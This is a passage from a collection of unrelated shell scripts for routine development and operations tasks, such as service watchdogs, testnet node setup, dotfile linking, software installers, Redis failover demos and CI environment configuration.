[[ ! -f \"${SEMAPHORE_FILE}\" ]]; then\n logger -t \"toxic-watchdog\" \"Toxic-ui is not running. Restarting...\"\n nohup $TOXIC_HOME/bin/toxic-ui -j $TOXIC_DATA/jobs -p jobs/toxic.properties -s $TOXIC_HOME/conf/toxic-secure.properties >> $TOXIC_HOME/log/nohup.out 2>&1 &\n logger -t \"toxic-watchdog\" \"Toxic-ui restarted\"\n else\n logger -t \"toxic-watchdog\" \"Toxic-ui is not running, but not restarting because ${SEMAPHORE_FILE} exists, since $(stat -c %y ${SEMAPHORE_FILE})\"\n fi\nfi"} {"text": "enigmampc/cosmwasm\n#!/bin/bash\n\n#!/bin/bash\n\n# Use this script to run secretd with debugger\n# Put this in .vscode/launch.json:\n# {\n# \"version\": \"0.2.0\",\n# \"configurations\": [\n# {\n# \"name\": \"Go\",\n# \"type\": \"go\",\n# \"request\": \"launch\",\n# \"mode\": \"auto\",\n# \"cwd\": \"${workspaceFolder}\",\n# \"program\": \"${workspaceFolder}/cmd/secretd\",\n# \"env\": { \"SGX_MODE\": \"SW\" },\n# \"args\": [\"start\", \"--bootstrap\"]\n# }\n# ]\n# }\n# And then:\n# 1. Build secretcli and secretd `SGX_MODE=SW make build-linux`\n# 2. Init the node: `SGX_MODE=SW cosmwasm/testing/sanity-test-d-setup.sh `\n# 3. Launch vscode in debug mode (you can set breakpoints in secretd go code)\n# 4. Run the tests with secretcli: `SGX_MODE=SW cosmwasm/testing/sanity-test-only-cli.sh`\n\nset -euvx\n\n# init the node\nrm -rf ./.sgx_secrets\nmkdir -p ./.sgx_secrets\n\nrm -rf ~/.enigma*\n\n./secretd init banana --chain-id enigma-testnet\nperl -i -pe 's/\"stake\"/\"uscrt\"/g' ~/.secretd/config/genesis.json\n./secretcli config keyring-backend test\necho \"cost member exercise evoke isolate gift cattle move bundle assume spell face balance lesson resemble orange bench surge now unhappy potato dress number acid\" |\n ./secretcli keys add a --recover\n./secretd add-genesis-account \"$(./secretcli keys show -a a)\" 1000000000000uscrt\n./secretd gentx --name a --keyring-backend test --amount 1000000uscrt\n./secretd collect-gentxs\n./secretd validate-genesis\n\n./secretd init-bootstrap ./node-master-cert.der ./io-master-cert.der\n\n./secretd validate-genesis"} {"text": "0\n#!/bin/bash\n\ncat ~/.ssh/config | grep \"^Host \" | grep -v \"github\" | cut -d ' ' -f 2 | nl -w 3 -s ':'\n\necho \"\"\n\nread -p \"Select Connect Host Number: \" SSH_Num\n\nexport SSH_HOST=$(cat ~/.ssh/config | grep \"^Host \" | grep -v \"github\" | cut -d ' ' -f 2 | nl -w 3 -s ':' | grep \" $SSH_Num:\" | cut -d ':' -f 2)\n\nif [ -z \"$SSH_HOST\" ]; then\n\n echo \"\"\n echo \"An invalid value was entered.\"\n echo \"\"\n read -p \"Please press any key.\"\n exit 1\n\nfi\n\necho \"Connecting $SSH_HOST ...\"\nsleep 2\nreset\nssh $SSH_HOST\n\nexit 0"} {"text": "#!/bin/bash\n\n[ -f \"../upup\" ] || (echo \"upup not compiled in ..\" && exit 1)\n\nfor i in *.uu\ndo\n\tname=\"$(echo $i | sed 's/.uu//')\"\n\t../upup -f \"$i\" -o \"$name\".html -t \"$name\" -T html -l \"style.css\"\ndone"} {"text": "vim/install.sh0\n# Copy vim/* config\nmkdir -p $HOME/.vim\ncp -a $HOME/.dotfiles/vim/vim-config/* $HOME/.vim/\ncp -a $HOME/.dotfiles/vim/vim-config/.* $HOME/.vim/\n\n# Language support\npython3 -m pip install --user --upgrade pynvim\ngem install neovim\nnpm -g install neovim\n\n# Vundle install\nif [ ! -d ~/.vim/bundle/Vundle.vim ]; then\n\tgit clone https://github.com/VundleVim/Vundle.vim.git ~/.vim/bundle/Vundle.vim\nfi\n\necho \"Now run :PluginInstall in nvim to install plugins\"\n\necho \"Also run yarn install in .vim/bundle/coc-vim\""} {"text": "#!/bin/bash\n\nset -o nounset\nset -o errexit\n\nsource ${SH_LIBRARY_PATH}/common.sh\nsource ${SH_LIBRARY_PATH}/os-nightly-lib.sh\n\ncheck_env OPENZFS_DIRECTORY INSTALL_DEBUG\n\nDIR=$(dirname ${BASH_SOURCE[0]})\n\nOPENZFS_DIRECTORY=$(log_must readlink -f \"$OPENZFS_DIRECTORY\")\nlog_must test -d \"$OPENZFS_DIRECTORY\"\n\nREPO=\"${OPENZFS_DIRECTORY}/packages/i386/nightly\"\n[[ \"$INSTALL_DEBUG\" = \"yes\" ]] || REPO=\"${REPO}-nd\"\nREPO=\"$REPO/repo.redist\"\n\nfor pkg in \"pkg:/network/ssh\" \\\n \"pkg:/service/network/ssh\" \\\n \"pkg:/service/network/ftp\" \\\n \"pkg:/service/network/ssh-common\" \\\n \"pkg:/service/network/smtp/sendmail\"; do\n log_must pkgrepo -s \"$REPO\" remove \"$pkg\"\ndone\n\nlog_must cp /usr/share/distro_const/text_install/text_mode_x86.xml .\nlog_must chmod 644 text_mode_x86.xml\nlog_must patch -p1 text_mode_x86.xml < \"$DIR/text_mode_x86.xml.patch\"\nlog_must sed -i \"s|%%REPO%%|$REPO|\" text_mode_x86.xml\nlog_must sudo distro_const build text_mode_x86.xml\n\nexit 0\n\n# vim: tabstop=4 softtabstop=4 shiftwidth=4 expandtab textwidth=72 colorcolumn=80"} {"text": "#!/bin/bash\n\nbootgen -image ./output.bif -arch zynq -o ./BOOT.bin -w on"} {"text": "#!/bin/bash\n\ndocker run --rm --name flextesa-sandbox -e block_time=5 --detach -p 20000:20000 registry.gitlab.com/tezos/flextesa:image-tutobox-run carthagebox start"} {"text": "#!/bin/sh\n\nopenssl pkcs12 -export -inkey ${IN_KEY} -in ${IN_CER} -out /tmp/cert.p12 -name unifi -password :${IN_PW}\nkeytool -importkeystore -deststorepass ${UNIFI_PW} -destkeypass ${UNIFI_PW} -destkeystore /config/data/keystore -srckeystore /tmp/cert.p12 -srcstoretype PKCS12 -srcstorepass ${IN_PW} -alias unifi -noprompt\npkill -f ace.jar\nrm -f /tmp/cert.p12 /usr/lib/unifi/updatecert.sh"} {"text": "#!/bin/bash\n# Loops through different url combos to find newest makemkv version\nversion=\"\"\nkeepRunning=true\necho \"-> Finding newest makemkv version...\"\nwhile :\ndo\n for f in $(seq 1 10)\n do\n for s in $(seq 12 100) # Starts at 12 bc that was the newest version\n do\n for t in $(seq 1 10)\n do\n #echo \"$f.$s.$t\" # Prints every version that's checked\n if [ $keepRunning == true ]\n then\n # Checks to see if url exists\n curl -s --head http://www.makemkv.com/download/makemkv-oss-$f.$s.$t.tar.gz | head -n 1 | grep \"HTTP/1.[01] [23]..\" > /dev/null\n else\n break\n fi\n if [ $? == 0 ]\n then\n version=\"$f.$s.$t\"\n keepRunning=false\n break\n fi\n done\n done\n done\n curl -s --head http://www.makemkv.com/download/makemkv-oss-$version.tar.gz | head -n 1 | grep \"HTTP/1.[01] [23]..\" > /dev/null\n if [ $? == 0 ] \n then\n break\n elif [ $? == 1 ]\n then\n echo \"One\"\n fi\ndone\necho \"Version: $version\"\n\n# Downloads tar files and removes version number from file name\nwget http://www.makemkv.com/download/makemkv-oss-$version.tar.gz\nmv makemkv-oss-$version.tar.gz /src/makemkv-oss.tar.gz\nwget http://www.makemkv.com/download/makemkv-bin-$version.tar.gz\nmv makemkv-bin-$version.tar.gz /src/makemkv-bin.tar.gz"} {"text": "Chapter04/Scripts/comment.sh\n#!/bin/bash\n\n# I am a comment at the beginning of a line`\nls # I am a comment after a command\n#I am a comment preceeding a command and so it is not interpreted ps\necho # I am a comment but you cannot see me\necho \\# I am a comment but you can see me"} {"text": "#!/bin/bash\nset -e\n\n[ -e /var/lib/ytmc/ ] &&\n echo already installed && exit 1\n\n[ $(id -u) -ne 0 ] &&\n echo need root && exit 1\n\ncd \"$(dirname \"${BASH_SOURCE[0]}\")\"\ndn=\"$(basename \"$PWD\")\"\ncp -pvR ../\"$dn\"/ /var/lib/ytmc/\n\ngrep -E ^ytmc: /etc/passwd ||\n useradd -rs /sbin/nologin -d /var/lib/ytmc ytmc\n\ncd /var/lib/ytmc\nchown -R ytmc. .\nsudo -u ytmc python -m pip install --user -U fastapi uvicorn[standard] databases[sqlite] jinja2\ncp -pv ytmcd.service /etc/systemd/system\nsystemctl enable --now ytmcd\necho install ok"} {"text": "02 - messageboard/03-changeimage.sh0\n#! /bin/bash\n\nkubectl set image pod/message-board message-board=10.139.12.210/mb/message_board:version2"} {"text": "1-10\npip3 install python-docx\npip3 install requests"} {"text": "#!/usr/bin/env bash\r\ntest -n \"$curlman_log\" && echo \"[DEBUG]:[$(basename $0)]: Args: «$@»\" >> \"$curlman_log\"\r\n\r\n# Indentifies curlman installation directory.\r\n# TODO: Turn this into a function.\r\ninstallDir=\"${0%/*}\"\r\ntest -n \"$curlman_log\" && echo \"[DEBUG]:[$(basename $0)]: installDir: «$installDir»\" >> \"$curlman_log\"\r\nexport installDir=$($installDir/utils/canonicalise-path.sh \"$installDir\")\r\ntest -n \"$curlman_log\" && echo \"[DEBUG]:[$(basename $0)]: Resolved installDir: «$installDir»\" >> \"$curlman_log\"\r\n\r\nif [[ $# -eq 0 ]]; then\r\n cat \"$installDir/docs/usage.txt\"\r\n exit 1\r\nfi\r\n\r\ncase \"$1\" in\r\n '--help')\r\n cat \"$installDir/docs/usage.txt\"\r\n exit 0\r\n ;;\r\n '--version')\r\n echo \"0.0.1\"\r\n exit 0\r\n ;;\r\nesac\r\n\r\nexitCode=0\r\ncmd=\"$1\"\r\nshift\r\ncase \"$cmd\" in\r\n 'init')\r\n $installDir/commands/$cmd.sh $@\r\n exitCode=$?\r\n ;;\r\n 'add')\r\n $installDir/commands/$cmd.sh $@\r\n exitCode=$?\r\n ;;\r\n 'request')\r\n $installDir/commands/$cmd.sh $@\r\n exitCode=$?\r\n ;;\r\n *)\r\n echo \"ERROR: Command «$cmd» does not exist.\"\r\n cat \"$installDir/docs/usage.txt\"\r\n exit 1\r\n ;;\r\nesac\r\n\r\nexit $exitCode"} {"text": "load \"${BATS_TEST_DIRNAME}/../bats-support/load.bash\"\nload \"${BATS_TEST_DIRNAME}/../bats-assert/load.bash\"\n\nsource \"${BATS_TEST_DIRNAME}/../../env.sh\"\n\n@test 'load_env_file - normal' {\n load_env_file \"${BATS_TEST_DIRNAME}/fixture/config.env\"\n\n assert_equal \"${TEST_STRING_A}\" 'ABC'\n assert_equal \"${TEST_STRING_B}\" 'DEF'\n assert_equal ${TEST_NUMBER_A} 10\n assert_equal ${TEST_NUMBER_B} 5354\n}\n\n@test 'load_env_file - success' {\n run load_env_file \"${BATS_TEST_DIRNAME}/fixture/config.env\"\n\n assert_success\n assert_output ''\n}\n\n@test 'load_env_file - file does not exist' {\n run load_env_file\n assert_failure ${LIB_BASH_ERROR_FILE_NOT_EXIST}\n\n run load_env_file 'test.env'\n assert_failure ${LIB_BASH_ERROR_FILE_NOT_EXIST}\n}"} {"text": "#!/usr/bin/env bash\n\n\nMASTER_IP=$(docker inspect --format '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' redis-master)\nSLAVE_IP=$(docker inspect --format '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' compose_redis-slave_1)\nSENTINEL_IP=$(docker inspect --format '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' compose_redis-sentinel_1)\n\ndocker exec redis-master redis-cli -p 6379 info Replication\necho \" ------------------------------------------------\"\nsleep 2\n\ndocker exec compose_redis-sentinel_1 redis-cli -p 26379 info Sentinel\necho \" ------------------------------------------------\"\nsleep 2\n\necho \" ------------------------------------------------\"\necho \"Redis master: $MASTER_IP\"\necho \"Redis Slave: $SLAVE_IP\"\necho \" ------------------------------------------------\"\necho Initial status of sentinel\necho \" ------------------------------------------------\"\ndocker exec compose_redis-sentinel_1 redis-cli -p 26379 info Sentinel\necho \"Current master is\"\ndocker exec compose_redis-sentinel_1 redis-cli -p 26379 SENTINEL get-master-addr-by-name mymaster\necho \"------------------------------------------------\"\n\necho \"Stop redis master\"\ndocker pause redis-master\necho \"Wait for 60 seconds\"\nsleep 60\necho \"Current infomation of sentinel\"\ndocker exec compose_redis-sentinel_1 redis-cli -p 26379 info Sentinel\necho \"Current master is\"\ndocker exec compose_redis-sentinel_1 redis-cli -p 26379 SENTINEL get-master-addr-by-name mymaster\n\n\necho \"------------------------------------------------\"\necho \"Restart Redis master\"\ndocker unpause redis-master\nsleep 5\necho \"Current infomation of sentinel\"\ndocker exec compose_redis-sentinel_1 redis-cli -p 26379 info Sentinel\necho \"Current master is\"\ndocker exec compose_redis-sentinel_1 redis-cli -p 26379 SENTINEL get-master-addr-by-name mymaster"} {"text": "#!/bin/bash\n\n\nsed -i 's@^loadmodule@#loadmodule@' ${EGG_PATH_CONF}/${EGG_LONG_NAME}.conf\nfor MODULES in $(echo ${EGG_MODULES_ENABLE})\ndo\n\techo \"s@#loadmodule ${MODULES}@loadmodule ${MODULES}@\"\n\tsed -i \"s@#loadmodule ${MODULES}@loadmodule ${MODULES}@\" ${EGG_PATH_CONF}/${EGG_LONG_NAME}.conf\ndone"} {"text": "function gentoo_kernel_config_file_path() {\n echo \"/etc/kernels/kernel-config-$(uname -m)-$(ls -la /usr/src/linux | cut -f 3- -d -)\"\n}"} {"text": "local/setup_fedora.bash\n#!/bin/bash -\n\n# This runs locally, to set up a dev machine so that it can work with Jupyter notebooks, etc\n\n#set -e\n#set -x\n\n# First, let's check we've got the right RPMs installed (assumes Fedora)\nrpms=`rpm -qa`\nrpms_extra=''\n\n#rpms_required=\"python python-devel python2-virtualenv python-pip\"\n#rpms_required=\"${rpms_required} python2-scipy python2-numpy python2-Cython\"\n\nrpms_required=\"python3 python3-devel python3-virtualenv python3-pip\"\nrpms_required=\"${rpms_required} python3-scipy python3-numpy python3-Cython\"\n\nrpms_required=\"${rpms_required} gcc gcc-c++ redhat-rpm-config\"\nrpms_required=\"${rpms_required} blas-devel lapack-devel atlas-devel\"\n\nFC_VER=`uname -r`\n#if [ \"${FC_VER/.fc23.}\" != \"${FC_VER}\" ]; then\n# echo \"Fedora 23\"\n# rpms_required=\"${rpms_required} python-scikit-learn python-pandas python-pillow\"\n#else\n\necho \"Fedora 25\"\n#rpms_required=\"${rpms_required} python2-scikit-learn python2-pandas python2-pillow\"\nrpms_required=\"${rpms_required} python3-scikit-learn python3-pandas python3-pillow\"\n\n#fi\n\n### GPU installation: \n# For TensorFlow 1.1 : cudnn v5 supported. v6+ are NOT!\n# dnf install cuda-cudnn5.1-devel\n### GPU installation\n\nrpms_required=\"${rpms_required} graphviz\"\n\n\nfor check in ${rpms_required}\ndo \n found=`echo $rpms | grep $check`\n if [ -z \"$found\" ]; then\n #echo \"Need to install $check (using 'dnf install $check') before running this setup\"\n rpms_extra=\"$rpms_extra $check\"\n fi\ndone\n\nif [ -z \"$rpms_extra\" ]; then\n echo \"Required RPMs are installed\"\nelse\n echo \"Additional RPMs are required before this setup can proceed.\"\n echo \"###########################################################\"\n echo \"Please run (as 'root') : \"\n echo \" dnf install$rpms_extra\"\n echo \"###########################################################\"\n exit 1\nfi\n\nsource ./config/params\n\n#virtualenv --system-site-packages ./env2\n\nvirtualenv -p python3 --system-site-packages ./env3\n. ./env3/bin/activate\n\npip install --upgrade pip\n\n### GPU installation:\n#pip install tensorflow-gpu\n#python -c \"import tensorflow as tf;sess=tf.Session(config=tf.ConfigProto(log_device_placement=True))\" | grep name\n# or (maybe) :\n#python -c \"import tensorflow as tf;with tf.device('/gpu:0'):a=tf.constant([1.0]);tf.Session().run(a)\"\n### GPU installation\n\n### GPU installation: \n#pip install http://download.pytorch.org/whl/cu80/torch-0.1.12.post2-cp35-cp35m-linux_x86_64.whl\n#python -c \"import torch;print(torch.cuda.is_available())\"\n### GPU installation\n\n\npip install -r ./config/requirements.txt \n\npython -m nltk.downloader punkt\npython -m nltk.downloader averaged_perceptron_tagger\n\n##logopath=./env/lib/python2.7/site-packages/notebook/static/base/images\n#logopath=./env3/lib/python3.5/site-packages/notebook/static/base/images\n#mv ${logopath}/logo.png ${logopath}/logo-orig_260x56.png\n#cp ./notebooks/images/logo.png ${logopath}/\n\n# Create these directories safely, just so we know they're there\nnotebook_dir=${notebook_dir/\\/home\\/user\\//\\./} \nmkdir -p $notebook_dir\n\ntensorflow_dir=${tensorflow_dir/\\/home\\/user\\//\\./} \nmkdir -p $tensorflow_dir\n\n#echo \"OMP_NUM_THREADS=4\" >> ~/.bashrc\n#echo \"export OMP_NUM_THREADS\" >> ~/.bashrc\n\n# If we get this far, everything installed/initialised successfully.\n# This string is detected in the guest afterwards.\necho '=== LOCAL CONFIGURATION FINISHED OK ==='"} {"text": "kant/home-assistantsetup.sh\n#!/bin/sh\n# Copyright 2018 IBM Corp. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nif ! command -v python3 &>/dev/null; then\n echo \"python 3 is required to run home assistant\"\n exit 1\nfi\n\necho \"Creating venv at $PWD/homeassistant-venv\"\n\npython3 -m venv homeassistant-venv &> venv.log\n\necho \"Installing Home Assistant in venv\"\necho \"\"\n\n./homeassistant-venv/bin/python3 -m pip install -U wheel &>> venv.log\n./homeassistant-venv/bin/python3 -m pip install -U homeassistant &>> venv.log\n\necho \"Home Assistant is now running, use ctrl+c or sending SIGTERM to stop it.\"\necho \"If you want to start it again just run:\"\necho \"\"\necho \"./homeassistant-venv/bin/hass --config config\"\necho \"\"\necho \" from the root of the repo\"\n\n./homeassistant-venv/bin/hass --config ./config --open-ui &> home-assistant.log"} {"text": "#!/bin/bash\n# -polka-\n\n# Get the current directory\nDIR=\"$( cd \"$(dirname \"$0\" )\" && pwd )\"\n\n# Link dot files to $HOME\nfor dotfile in $(find $DIR -maxdepth 1 -type f -name \".*\"); do\n if [[ $(uname) == 'Linux' && \"$(basename $dotfile)\" == '.tmux.linux.conf' ]]; then\n ln -fs $dotfile \"${HOME}/.tmux.conf\"\n elif [[ $(uname) == 'Darwin' && \"$(basename $dotfile)\" == '.tmux.osx.conf' ]]; then\n ln -fs $dotfile \"${HOME}/.tmux.conf\"\n elif [[ \"$(basename $dotfile)\" != \".tmux.osx.conf\" && \"$(basename $dotfile)\" != \".tmux.linux.conf\" ]]; then\n ln -fs $dotfile \"${HOME}/$(basename $dotfile)\"\n fi\ndone\n\n# Link rc files in .bashrc.d\n[ -d \"${HOME}/.bashrc.d\" ] || mkdir \"${HOME}/.bashrc.d\"\nfor dotfile in ${DIR}/.bashrc.d/*; do\n ln -fs $dotfile \"${HOME}/.bashrc.d/$(basename $dotfile)\"\ndone\n\n# Link config directory\n[ -d \"${HOME}/.config\" ] || mkdir \"${HOME}/.config\"\nfor dotfile in ${DIR}/.config/*; do\n ln -fs $dotfile \"${HOME}/.config/$(basename $dotfile)\"\ndone\n\n# Link files in bin\n[ -d \"${HOME}/bin\" ] || mkdir \"${HOME}/bin\"\nfor file in ${DIR}/bin/*; do\n [ -x $file ] || continue\n [[ $(uname) == 'Linux' && $(basename $file) == 'reattach-to-user-namespace' ]] && continue\n ln -fs $file \"${HOME}/bin/$(basename $file)\"\ndone\n\n# Link files in lib\n[ -d \"${HOME}/lib\" ] || mkdir \"${HOME}/lib\"\nfor file in ${DIR}/lib/*; do\n [ -x $file ] || continue\n ln -fs $file \"${HOME}/lib/$(basename $file)\"\ndone\n\n[ -d \"${HOME}/.config/nvim/bundle\" ] || mkdir -p \"${HOME}/.config/nvim/bundle\"\n[ -d \"${HOME}/.config/nvim/backups\" ] || mkdir -p \"${HOME}/.config/nvim/backups\"\n[ -d \"${HOME}/.config/nvim/swaps\" ] || mkdir -p \"${HOME}/.config/nvim/swaps\"\n[ -d \"${HOME}/.config/nvim/undo\" ] || mkdir -p \"${HOME}/.config/nvim/undo\"\n\n# Preload vim-plug\n[ -d \"${HOME}/.config/nvim/autoload\" ] || mkdir -p \"${HOME}/.config/nvim/autoload\"\necho \"Loading Plug.vim for NeoVim...\"\n[ -d \"${HOME}/.vim/autoload/plug.vim\" ] || curl -fLo \"${HOME}/.config/nvim/autoload/plug.vim\" --create-dirs https://raw.githubusercontent.com/junegunn/vim-plug/master/plug.vim\n\n# Remove broken symlinks\nfind -L \"${HOME}\" \"${HOME}/.bashrc.d\" \"${HOME}/bin\" \"${HOME}/lib\" -maxdepth 1 -type l | xargs rm 2>/dev/null\n\n# execute scripts on install\n(exec \"${DIR}/bin/setup-gitconfig\")"} {"text": "StanleyProjects/KotlinJavaFXExtension\necho \"after failure...\"\n\nif test -z \"$PR_NUMBER\"; then\n echo \"it is not a pull request\"\n return 0\nfi\n\nif test -z $PR_SOURCE_BRANCH; then\n echo \"source branch of pull request #$PR_NUMBER undefined\"\n return 1\nfi\n\nif [[ \" ${PR_BRANCH_NAMES[@]} \" =~ \" $PR_SOURCE_BRANCH \" ]]; then\n . $WORKFLOW/after/failure/reject_pr.sh || return 2\nelse\n echo \"$PR_SOURCE_BRANCH is not in [${PR_BRANCH_NAMES[@]}]\"\nfi"} {"text": "# https://www.postgresql.org\nexport PSQLRC=\"$XDG_CONFIG_HOME/pg/psqlrc\"\nexport PSQL_HISTORY=\"$XDG_CACHE_HOME/pg/psql_history\"\nexport PGPASSFILE=\"$XDG_CONFIG_HOME/pg/pgpass\"\nexport PGSERVICEFILE=\"$XDG_CONFIG_HOME/pg/pg_service.conf\""} {"text": "#!/bin/bash\nsource /root/.gvm/scripts/gvm\ngvm use go1.11 --default\nexport CGO_ENABLED=0\nexport GOOS=linux\ngo get github.com/golang/glog\ngo get github.com/kubernetes-incubator/external-storage/ceph/rbd/pkg/provision\ngo get github.com/kubernetes-incubator/external-storage/lib/controller\ngo get k8s.io/apimachinery/pkg/util/wait\ngo get k8s.io/client-go/kubernetes\ngo get k8s.io/client-go/rest\ngo get k8s.io/client-go/tools/clientcmd\ncd /external-storage/ceph/rbd\ngo build -a -ldflags '-extldflags \"-static\"' -o /rbd-provisioner ./cmd/rbd-provisioner\n#go build -ldflags=\"-s -w\" -o hello hello.go"} {"text": "#!/bin/bash\n/usr/bin/env php /var/www/log-01.servermade.com/artisan user:authenticate"} {"text": "#!//bin/bash\n\nldd /bin/openssl /bin/cp /bin/dash /bin/bash \\\n | sed -e \"s/(.*)//g\" -e \"s/^[ \\t]*//g\" \\\n | grep -v \"^.*:\" \\\n | sort -u"} {"text": "if [[ \"$TRAVIS_OS_NAME\" == \"osx\" ]]; then\n wget https://repo.continuum.io/miniconda/Miniconda3-latest-MacOSX-x86_64.sh -O miniconda.sh;\nelse\n wget https://repo.continuum.io/miniconda/Miniconda3-latest-Linux-x86_64.sh -O miniconda.sh;\nfi\nbash miniconda.sh -b -p $HOME/miniconda\nexport PATH=\"$HOME/miniconda/bin:$PATH\"\nconda config --set always_yes yes --set changeps1 no\nconda update conda"} {"text": "python3 main.py --train_data_path ./THUCNews/train.txt \\\n\t\t\t\t--valid_data_path ./THUCNews/valid.txt \\\n\t\t\t\t--test_data_path ./THUCNews/test.txt \\\n\t\t\t\t--word2vec_data_path ./word2vec_data_path \\\n\t\t\t\t--mode train \\\n\t\t\t\t--model rand \\\n\t\t\t\t--save_model \\\n\t\t\t\t--early_stopping \\\n\t\t\t\t--epoch 200 \\\n\t\t\t\t--learning_rate 0.1"} {"text": "#!/usr/bin/env bash\n\nif ! [ -x ./TPCMain.d.byte ]\nthen\n echo 'TPCMain.d.byte not found!'\n echo 'Run `make TPCMain.d.byte` first.'\n exit 1\nfi\n\n(./TPCMain.d.byte -me 1 -mode participant 0 127.0.0.1 8000 1 127.0.0.1 8001 2 127.0.0.1 8002 3 127.0.0.1 8003 &) >particpant1.log\n\n(./TPCMain.d.byte -me 2 -mode participant 0 127.0.0.1 8000 1 127.0.0.1 8001 2 127.0.0.1 8002 3 127.0.0.1 8003 &) >particpant2.log\n\n(./TPCMain.d.byte -me 3 -mode participant 0 127.0.0.1 8000 1 127.0.0.1 8001 2 127.0.0.1 8002 3 127.0.0.1 8003 &) >particpant3.log\n\n./TPCMain.d.byte -me 0 -mode coordinator 0 127.0.0.1 8000 1 127.0.0.1 8001 2 127.0.0.1 8002 3 127.0.0.1 8003 | tee coordinator.log"} {"text": "#!/usr/bin/env bash\n\n###################################################################\n# The gather_results command script\n#\n# This script is used to gather the history, profile, and transfer \n# files after a job completes execution. This script is useful\n# when a job is not profiled, or when the job is profiled\n# without the bin/profile script.\n#\n# The user should not need to modify this script. All user-defined\n# parameters can be set in 'config.sh'.\n#\n# Author: \n# Date: July 11, 2011\n###################################################################\n\n\n# if no args specified, show usage\nif [ $# = 0 ]; then\n echo \"Usage 1: Single job id:\"\n echo \" $0 job_id\"\n echo \"Usage 2: Range of job ids:\"\n echo \" $0 first_job_id last_job_id\"\n echo \"\"\n echo \"General parameters are set in bin/config.sh\"\n echo \"\"\n exit 1\nfi\n\n# Perform common tasks like Load configurations and initializations\nbin=`dirname \"$0\"`\n. \"$bin\"/common.sh\n\n\n# Default output directory is the working directory\nif [ \"$PROFILER_OUTPUT_DIR\" = \"\" ]; then\n PROFILER_OUTPUT_DIR=$CURRENT_DIR\nfi\nHADOOP_OPTS=\"${HADOOP_OPTS} -Dstarfish.profiler.output.dir=${PROFILER_OUTPUT_DIR}\"\n\n# Flag for retaining the task profiles\nif [ \"$RETAIN_TASK_PROFILES\" = \"\" ]; then\n RETAIN_TASK_PROFILES=true\nfi\nHADOOP_OPTS=\"${HADOOP_OPTS} -Dstarfish.profiler.retain.task.profiles=${RETAIN_TASK_PROFILES}\"\n\n# Flag for collecting the data transfers\nif [ \"$COLLECT_DATA_TRANSFERS\" = \"\" ]; then\n COLLECT_DATA_TRANSFERS=false\nfi\nHADOOP_OPTS=\"${HADOOP_OPTS} -Dstarfish.profiler.collect.data.transfers=${COLLECT_DATA_TRANSFERS}\"\n\n# Flag to enable profiling sampling\nif [ \"$SAMPLING_MODE\" = \"\" ]; then\n SAMPLING_MODE=\"off\"\nfi\nHADOOP_OPTS=\"${HADOOP_OPTS} -Dstarfish.profiler.sampling.mode=${SAMPLING_MODE}\"\n\n# The sampling fraction\nif [ \"$SAMPLING_FRACTION\" = \"\" ]; then\n SAMPLING_FRACTION=\"0.1\"\nfi\nHADOOP_OPTS=\"${HADOOP_OPTS} -Dstarfish.profiler.sampling.fraction=${SAMPLING_FRACTION}\"\n\n\n# Add the profiler jar to the classpath\nHADOOP_CLASSPATH_OLD=$HADOOP_CLASSPATH\nHADOOP_CLASSPATH=`ls $BASE_DIR/starfish-*-profiler.jar`\nif [ \"$HADOOP_CLASSPATH_OLD\" != \"\" ]; then\n HADOOP_CLASSPATH=${HADOOP_CLASSPATH}:${HADOOP_CLASSPATH_OLD}\nfi\n\n# Add any user-defined jars to the classpath\nOLD_IFS=\"$IFS\"\nIFS=\" \"\nargs=( $@ )\n\nsize=${#@};\nfor (( i = 0 ; i < size ; i++ ));\ndo\n if [ \"${args[${i}]}\" = \"-libjars\" ]; then\n IFS=\",\"\n for userjar in ${args[${i}+1]}\n do\n HADOOP_CLASSPATH=\"${HADOOP_CLASSPATH}:$userjar\"\n done\n fi\ndone\nIFS=\"$OLD_IFS\"\n\n# Export the required hadoop parameters\nexport HADOOP_OPTS\nexport HADOOP_CLASSPATH\n\n# Execute the hadoop command\n${HADOOP_HOME}/bin/hadoop edu.duke.starfish.profile.utils.GatherResults \"$1\" \"$2\""} {"text": "s-gbz/angular\n#!/usr/bin/env bash\n\n# Variables\nreadonly projectDir=$(realpath \"$(dirname ${BASH_SOURCE[0]})/..\")\nreadonly envHelpersPath=\"$projectDir/.circleci/env-helpers.inc.sh\";\nreadonly getCommitRangePath=\"$projectDir/.circleci/get-commit-range.js\";\n\n# Load helpers and make them available everywhere (through `$BASH_ENV`).\nsource $envHelpersPath;\necho \"source $envHelpersPath;\" >> $BASH_ENV;\n\n\n####################################################################################################\n# Define PUBLIC environment variables for CircleCI.\n####################################################################################################\n# See https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables for more info.\n####################################################################################################\nsetPublicVar PROJECT_ROOT \"$projectDir\";\nsetPublicVar CI_AIO_MIN_PWA_SCORE \"95\";\n# This is the branch being built; e.g. `pull/12345` for PR builds.\nsetPublicVar CI_BRANCH \"$CIRCLE_BRANCH\";\nsetPublicVar CI_BUILD_URL \"$CIRCLE_BUILD_URL\";\n# ChromeDriver version compatible with the Chrome version included in the docker image used in\n# `.circleci/config.yml`. See http://chromedriver.chromium.org/downloads for a list of versions.\n# This variable is intended to be passed as an arg to the `webdriver-manager update` command (e.g.\n# `\"postinstall\": \"webdriver-manager update $CI_CHROMEDRIVER_VERSION_ARG\"`).\nsetPublicVar CI_CHROMEDRIVER_VERSION_ARG \"--versions.chrome 75.0.3770.90\";\nsetPublicVar CI_COMMIT \"$CIRCLE_SHA1\";\n# `CI_COMMIT_RANGE` is only used on push builds (a.k.a. non-PR, non-scheduled builds and rerun\n# workflows of such builds).\n# NOTE: With [CircleCI Pipelines](https://circleci.com/docs/2.0/build-processing) enabled,\n# `CIRCLE_COMPARE_URL` is no longer available and the commit range cannot be reliably\n# detected. Fall back to only considering the last commit (which is accurate in the majority\n# of cases for push builds).\nsetPublicVar CI_COMMIT_RANGE \"`[[ ${CIRCLE_PR_NUMBER:-false} != false ]] && echo \"\" || echo \"$CIRCLE_SHA1~1...$CIRCLE_SHA1\"`\";\nsetPublicVar CI_PULL_REQUEST \"${CIRCLE_PR_NUMBER:-false}\";\nsetPublicVar CI_REPO_NAME 